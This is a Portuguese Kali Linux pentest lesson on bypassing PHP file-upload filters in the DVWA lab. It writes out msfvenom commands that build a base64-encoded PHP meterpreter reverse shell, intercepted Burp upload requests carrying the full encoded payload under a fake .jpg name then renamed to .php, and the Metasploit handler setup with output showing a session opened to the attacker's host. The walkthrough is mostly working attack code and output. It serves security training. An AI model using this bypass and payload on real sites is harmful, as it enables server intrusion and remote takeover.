Pentest com Kali Linux

Instrutor:Vitor Mazuco

http://facebook.com/vitormazuco

Email:vitor.mazuco@gmail.com

WebSite:
http://vmzsolutions.com.br

Burlando falhas em uploads de sites

Nessa aula, vamos explorar falhas em *uploads* de sites que usem o PHP como linguagem de programação. Mas antes, precisamos ter o nosso *burpsuite* aberto e já configurado em nosso navegador para fazer as interceptações necessárias.

Burlando falhas em uploads de sites

A nossa aula consiste em invadir um sistema através pela Web, para isso vamos usar o DVWA para poder fazer os nossos testes. Primeira coisa que devemos fazer é criar um arquivo infectado com o uso do msfvenom:

```
# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.75 lport=4444 -f raw > shell.php
```

Ao abrir o arquivo, você verá que ele está com todas as suas informações visivéis, assim qualquer programador poderá ver o seu conteúdo. Mas vamos deixar ele mais difícil ao usar a criptografia em *base64* com o comando:

```
# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.75 lport=4444 -e php/base64 -f raw > shell.php
```

Depois de ter criado, vamos colocar nesse arquivo gerado a

codificação em php:

```
<?php

...

?>
```

Agora, vamos jogar esse arquivo em nossa área de *desktop* e depois vamos duplicar ele e depois renomear ele com o formato de *.jpg* e ver se o DVWA aceita você fazer o carregamento dos arquivos em php, ou em jpg.

Muito provavelmente ele não permitiu o upload de arquivos em *.php*, mas ele pode fazer o *upload* de arquivos em *.jpg*. Agora, para agente poder burlar esse sistema, temos que usar o BurpSuite e habilitar a interceptação em modo *proxy* e depois alterar o seu arquivo na hora de fazer o upload de *.jpg* para *.php* e depois dar o *forward*.

Burlando falhas em uploads de sites

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.1.70/dvwa/vulnerabilities/upload/
Cookie: security=medium; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=408n3hstvijq2etiv4bvq63ut5
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------264178060137495575518879022 7
Content-Length: 1761

-----------------------------264178060137495575518879022 7
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------264178060137495575518879022 7
Content-Disposition: form-data; name="uploaded"; filename="shell.php.jpg"
Content-Type: image/jpeg

<?php
eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE5Mi4xNjguMS43NSc7ICRwb3J0ID0gNDQ0NDsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2
V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Ik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBlbHNlaWYgKCgkZiA9ICdmc29
ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGVsc2VpZiAoKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAm
JiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoI
SRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWF
rOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygiTmxlbiIsICRsZW4pOyAk.bGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4
pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0
X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBldmFsK
CRiKTsgZGllKCk7));
?>

-----------------------------264178060137495575518879022 7
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------264178060137495575518879022 7--
```

Burlando falhas em uploads de sites

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.1.70/dvwa/vulnerabilities/upload/
Cookie: security=medium; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=408n3hstvijq2etiv4bvq63ut5
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------264178060137495575518879022 7
Content-Length: 1761

-----------------------------264178060137495575518879022 7
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------264178060137495575518879022 7
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg

<?php
eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE5Mi4xNjguMS43NSc7ICRwb3J0ID0gNDQ0NDsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2
V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBlbHNlaWYgKCgkZiA9ICdmc29
ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGVsc2VpZiAoKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAm
JiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoI
SRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2
l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWF
rOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygiTmxlbiIsICRsZW4pOyAk.bGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW
pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0
X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ2lzZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBldmFsK
CRiKTsgZGllKCk7));
?>

-----------------------------264178060137495575518879022 7
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------264178060137495575518879022 7--
```

E depois que agora, você conseguiu fazer o *upload* de um arquivo em formato *.php*. Isso se deve porque burlamos o sistema de proteção que esse site possuía. Você pode verificar se o arquivo está no site mesmo, digitando o caminho dele.

Burlando falhas em uploads de sites

Agora, vamos abrir o nosso terminal e criar um msfconsole para tentar entrar no sistema e esperar a requisição para invadir o sistema.

- # msfconsole
- msf > use multi/handler
- msf > set payload php/meterpreter/reverse_tcp
- > set lhost 192.168.1.75
- > set lport 4444
- > exploit

Burlando falhas em uploads de sites

Agora é só você entrar novamente no caminho do arquivo e ver

se você conseguiu invadir o sistema com sucesso!

```
+ -- --=[ 1625 exploits - 925 auxiliary - 282 post         ]
+ -- --=[ 472 payloads - 39 encoders - 9 nops              ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >
msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.75
lhost => 192.168.1.75
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.75:4444
[*] Starting the payload handler...
[*] Sending stage (33986 bytes) to 192.168.1.163
[*] Meterpreter session 1 opened (192.168.1.75:4444 -> 192.168.1.163:49495)
at 2017-06-23 13:48:39 -0300
```